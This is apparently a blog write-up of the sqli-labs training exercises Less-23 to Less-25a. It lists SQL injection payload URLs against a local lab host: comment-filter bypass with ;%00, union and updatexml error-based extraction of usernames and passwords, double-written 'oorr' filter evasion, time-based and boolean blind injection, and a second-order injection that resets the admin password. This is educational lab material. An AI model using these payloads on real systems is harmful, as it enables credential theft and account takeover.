zoukankan      html  css  js  c++  java
  • Less23-Less25a(24--二次注入)

    Less-23:单引号字符型盲注,过滤了注释符号

    方法一:使用union select

    ?id=1 正常登录

    ?id=1’ 显示错误

    ?id=1’--+ 发现错误并无法闭合(不像第一关那样)

     

     

     通过查看源码,我们发现将注释符都替换成空格符。

     

     $id = preg_replace($reg1, $replace, $id);   源码中对于 --+      # 进行了过滤处理, 所以这里我们只能使用and 或者or语句进行闭合

    在这里可以使用另外一种特殊的注释符   ;%00 通过这个注释符可以判断列数

    除了在url末尾将--+# 替换为 ;%00   其余的均和less-1关相同,就不在陈述了,直接放语句了

    • /?id=1‘  order by 3  ;%00 查多少列
    • /?id=-1’  union select 1,2,3    ;%00   查找回显位置
    • /?id=-1‘  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00 查库名
    • /?id=-1‘  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00  查表名
    • /?id=-1‘  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00 查字段名
    • /?id=-1‘  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00 查出字段中所有的值

     

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1'order by 10 and '1'='1

    我们已经知道了这个只有三列,但是回显结果没有报错

     

     我们将上面语句中的and改成or,返回结果仍没有报错

     

     这是由于mysql解析顺序使得order by 在执行时候被忽略了

     

     所以我们可以用union select的另一种方式来进行查询

    1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1‘ and  ’1‘=‘1 使用and 或者是or都可以
    2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1‘ union select 1,2,3’ 我们使用union select进行闭合,其中要在3的位置进行闭合操作,但是在页面上没有显示1,2,3
    3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,3’ 此时我们将前面的值进行报错,使得前面的值无法被查询到
    4. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,3’ 此时我们看到2,3位置有回显信息,我们可以选择使用2,3位置继续进行注入

    使用-1或者是任意一个超出数据库中的数据均可:

     select * from users where id=1 union select 1,2,3; 这个语句可以查询到 1,2,3

     select * from users where id=-1 union select 1,2,3; 这个语句只能查询到1,2,3,我们也可以在id=1的位置上使用一个较大的数字都是可以的

    1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=111‘ union select 1,2,database()’ 查询当前的数据库
    2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select group_concat(schema_name) from information_schema.schemata) ‘ 可查询所有的库信息
    3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)’  查询所有的表信息
    4. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)’ 查询所有的列信息
    5. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select  group_concat(concat_ws(0x7e,username,password)) from security.users)’ 一次性查询所有的字段值

     

    方法二:报错注入

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1    爆出数据库

     

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1 查询所有的数据库,使用limit进行逐个查询。

     

    Less-24:二次注入

    二次注入原理案例详解:

    假如有一个网站管理员的用户名为:root 密码:123456,攻击者注册了一个账号,用户名:root'-- ,密码:123   

    因为账号当中有特殊字符,网站对于特殊字符进行了转义,一次注入在这里就行不通了,虽然账号被转义了,但是他在数据库中仍然以root'--的方式被存储的。

    现在攻击者开始实施攻击,他开始对账号修改密码。

    修改密码的过程一般为:判断用户是否存在——确认用户之前的密码是否正确——获取要修改的密码——修改密码成功

    而在数据库中--表示注释的意思,那么后面的语句就不会被执行,而root后面的单引号又与前面的'闭合,

    而原本后面的单引号因为是在--后面,所以会被注释掉,所以实际上就是修改的root的密码。

    引一个二次注入知识

    • 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
    • 二次注入,可以概括为以下两步:
    • 第一步:插入恶意数据
      进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
    • 第二步:引用恶意数据
      开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
    • 例: 输入参数 id= 1‘  à 传输转义id= 1’  à此时转义之后无法注入à存入数据库为 1’à再次取出直接闭合

    利用二次注入对24关进行操作

    本关测试:
    1、新注册一个用户,用户名为admin'# 密码为123456
    2、用该用户登录admin'#登录成功后,修改密码
    3、输入当前密码123456,然后输入新密码147258
    4、点击reset,密码修改成功,此时发现admin账户的密码被修改。
    这里注入参数是攻击者在注册的时候讲注入参数admin'#写到数据库的。调用的时候包含了构造的闭合单引号的参数。

    不借助这种方法,发现在表单输入的带有注入符号的都被程序转义了。

    下面是过程的截图:

    首先我们查询目前的users表信息,找到admin的密码,密码为admin

    我们用admin’# 注册一个恶意账号,再登录 密码为123456

     我们修改admin’#的密码  密码为147258

    用admin  147258结果登录成功

     

     

     Less-25:单引号字符型注入

    使用””进行包裹,or and 被过滤

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=1 正常登录

    http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=1’  显示错误说明有漏洞

    /?id=1‘ order by  1--+ 使用order by 语句发现报错,无法使用,看下图发现 or被过滤了

     看源码,知道or and都被过滤

     方法一:尝试双写,正常输出

     

    • 1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,3--+

    获得回显位置

    • 2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,schema_name from infoorrmation_schema.schemata --+

    将所有位置的or都需要写两次

    • 3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+

    取出所有的库

    • 4. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+

    取出所有的表

    • 5. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

    取出所有的字段

    • 6. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

    取出字段中的值

    方法二:or换成||   

    • 1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘  || 1=1--+

     判断存在注入

    • 2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+

        爆出当前数据库

    • 3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+

    遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整

     

     

     

    Less25a:  数值型注入   没有任何包裹,当前 or  and 也是要双写的

    /?id=1 页面显示正常

    /?id=1’ 此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹

     

     /?id=-1 union select 1,2,3--+

    可以使用联合查询,当我们使用联合查询注入:

    /?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库

    /?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段

    /?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

    当我们使用基于时间的布尔盲注

    1./?id=-1 oorr if(length(database())>1,1,sleep(5))--+

    可以通过这个判断当前数据库长度

    2. http://127.0.0.1/sqli/Less-25a/?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+

    判断当前数据库的组成

    3.http://127.0.0.1/sqli/Less-25a/?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+

    通过这个判断所有的数据库,依次再进行下去。。。

    当我们使用布尔盲注的时候:

    1. http://127.0.0.1/sqli/Less-25a/?id=-1 oorr length(database())>1--+

    此时页面返回正常,则得知当前的数据库长度是大于1的

    1. http://127.0.0.1/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+   

    当前的页面返回正常,说明此时的第一个数据库的第一个字母是大于a的

    1. http://127.0.0.1/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+

    此时等于a的时候,页面返回异常,说明我们的语句写的是正确的。依次再进行下去。。。(a-z)

  • 相关阅读:
    623. Add One Row to Tree 将一行添加到树中
    771. Jewels and Stones 珠宝和石头
    216. Combination Sum III 组合总数三
    384. Shuffle an Array 随机播放一个数组
    382. Linked List Random Node 链接列表随机节点
    向github项目push代码后,Jenkins实现其自动构建
    centos下安装Jenkins
    python提取批量文件内的指定内容
    批处理实现:批量为文件添加注释
    python抓取每期双色球中奖号码,用于分析
  • 原文地址:https://www.cnblogs.com/7-58/p/12248860.html
Copyright © 2011-2022 走看看